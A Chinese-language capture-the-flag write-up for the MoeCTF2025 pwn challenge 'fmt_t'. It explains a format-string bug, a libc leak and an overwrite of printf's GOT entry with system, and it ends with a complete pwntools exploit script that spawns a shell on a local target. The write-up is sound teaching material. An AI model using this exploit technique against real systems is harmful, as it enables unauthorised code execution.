fmt_t
.png)
main函数:
.png)
hell函数:
.png)
pd函数:
.png)
题目没有后门函数,我们先看main函数,开头有一个格式化字符串漏洞,只能输入5字节,可以用来泄露地址,然后进入hell函数,hell函数是一个递归函数,我们发现会有三次成功调用,hell(5),hell(16),hell(27)分别可以输入4字节,15字节,26字节(fget函数会把最后填充成\x00,如果你多输入一字节,例如hell(27)你输入27字节,最后一字节会被留在缓冲区内,导致后面运行受影响),输入完后会调用pd检查输入的内容有没有%,有就调用printf有格式化字符串漏洞,没有就不执行printf,由于got表可写,又有多次格式化字符串的漏洞,那我们就考虑修改printf的got表
首先我们要泄露libc地址,这个很简单,利用mian函数开头的那个格式化字符串漏洞就行
接下来我们要修改got表,我们的思路是这样的,一次printf修改got表,然后调用printf即system,我们输入指令,即原来是printf(sh),实际上执行system(sh),那我们的的hell(5),就输入b'sh\x00%',这里我们要保证有%,不然不能调用printf,把%放在\x00后就行
然后我们考虑修改got表,我们一般是修改最后三字节,那我们就要放两个printf的地址,这就已经16字节了,我们最大的输入才26字节,那我们就考虑把printf的地址利用hell(16)放好,然后在hell(27)中修改got表
payload=p64(elf.got['printf'])+p64(elf.got['printf']+1)[:7]
我们修改三字节使用%hhn修改倒数第一个字节,用%hn修改倒数第二三个字节,我们由于是小端序,我们第一个直接放printf的got表地址,这样%hhn修改的是got['printf'][0],然后我们放got['pirntf']+1,相当于got['printf'][1],那%hn就是从倒数第二个字节开始修改两字节,由于我们只能输入15字节,我们取第二个地址的前7字节(小端序相当于只舍弃了一个\x00),fgets会自动补上\x00,所以我们相当于完整输入两个地址
然后hell(27)我们要修改got表,首先,我们要找到hell(16)输入的地址存在那个偏移,我们在gdb中调试寻找
.png)
这里我在hell(16)时输入c%,在hell(27)输入了d%,我们在hell(27)的printf断点停下,可以看到在偏移24的位置,那我们%hhn就是修改放24位置的got表,%hn修改放25位置的got表
low1 = sys_addr & 0xff
low2 = (sys_addr>>8) & 0xffff
current_written = 0
pad1 = (low1 - current_written) % 0x100
if pad1 > 0:
payload = f'%{pad1}c%24$hhn'.encode()
current_written += pad1
else:
payload = b'%24$hhn'
pad2 = (low2 - current_written) % 0x10000
if pad2 > 0:
payload += f'%{pad2}c%25$hn'.encode()
else:
payload += b'%25$hn'
payload = payload.ljust(26, b'a')
low1取倒数第一字节,low2右移8位取倒数一二字节相当于取system的倒数第二三字节
这里写的稍微复杂了些,首先current_written表示前面已经输出的字符数,这里前面没有,设置为0
首先我们取模,这个操作是为了防止我们要写入的字符数小于前面已经输出的字符数,
假设:
当前已打印 (current):250
目标值 (low1):10
如果没有取模(直接减):
问题: 你不可能让 printf 打印 “-240” 个字符。
使用取模:
在 Python 中,负数取模的结果是正数:
验证一下:
- 当前是 250。
- 打印 16 个字符。
- 总数变成:250 + 16 = 266。
- 266 的十六进制是
0x10A。 %hhn只取最后 1 个字节,也就是0xA(即 10)。(溢出了)- 把 250 变成了 10。
| 修饰符 | 写入大小 | 取模基数 | 备注 |
|---|---|---|---|
%hhn |
1 字节 | % 0x100(256) |
单字节 |
%hn |
2 字节 | % 0x10000(65536) |
双字节 |
%n |
4 字节 | % 0x100000000 |
四字节 |
判断pad1即填充字符数是否为0,如果为0,我们不用%0c,因为这个还是会输出1个字符,要直接%hhn
改low2同理,最后是从hell(27)的printf开始执行,修改了got表,hell(16)没有%不执行printf,到了hell(5),执行printf(sh)即system(sh),成功getshell了
EXP:
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux')
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
if switch:
target = '127.0.0.1'
port = 45565
p = remote(target, port)
else:
p = process(file_name)
if debug:
context(log_level='debug')
if gdb_ and switch == 0:
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096 : p.recv(numb)
ru = lambda delim, drop=True : p.recvuntil(delim, drop)
rl = lambda : p.recvline()
lg = lambda name, data : log.success(name + ': ' + hex(data))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
payload=b'%11$p'
s(payload)
addr=int(p.recv(14),16)
libc.address=addr-0x29d90
lg('libc基址',libc.address)
sys_addr=libc.sym['system']
low1 = sys_addr & 0xff
low2 = (sys_addr>>8) & 0xffff
def sa1(pay):
sa(b'hell.',pay)
sa1(b'sh\x00%')
payload=p64(elf.got['printf'])+p64(elf.got['printf']+1)[:7]
sa1(payload)
current_written = 0
pad1 = (low1 - current_written) % 0x100
if pad1 > 0:
payload = f'%{pad1}c%24$hhn'.encode()
current_written += pad1
else:
payload = b'%24$hhn'
pad2 = (low2 - current_written) % 0x10000
if pad2 > 0:
payload += f'%{pad2}c%25$hn'.encode()
else:
payload += b'%25$hn'
payload = payload.ljust(26, b'a')
sa1(payload)
p.interactive()
题目链接:
CTF-Writeups/MoeCTF2025/fmt_t at main · Zenquiem/CTF-Writeups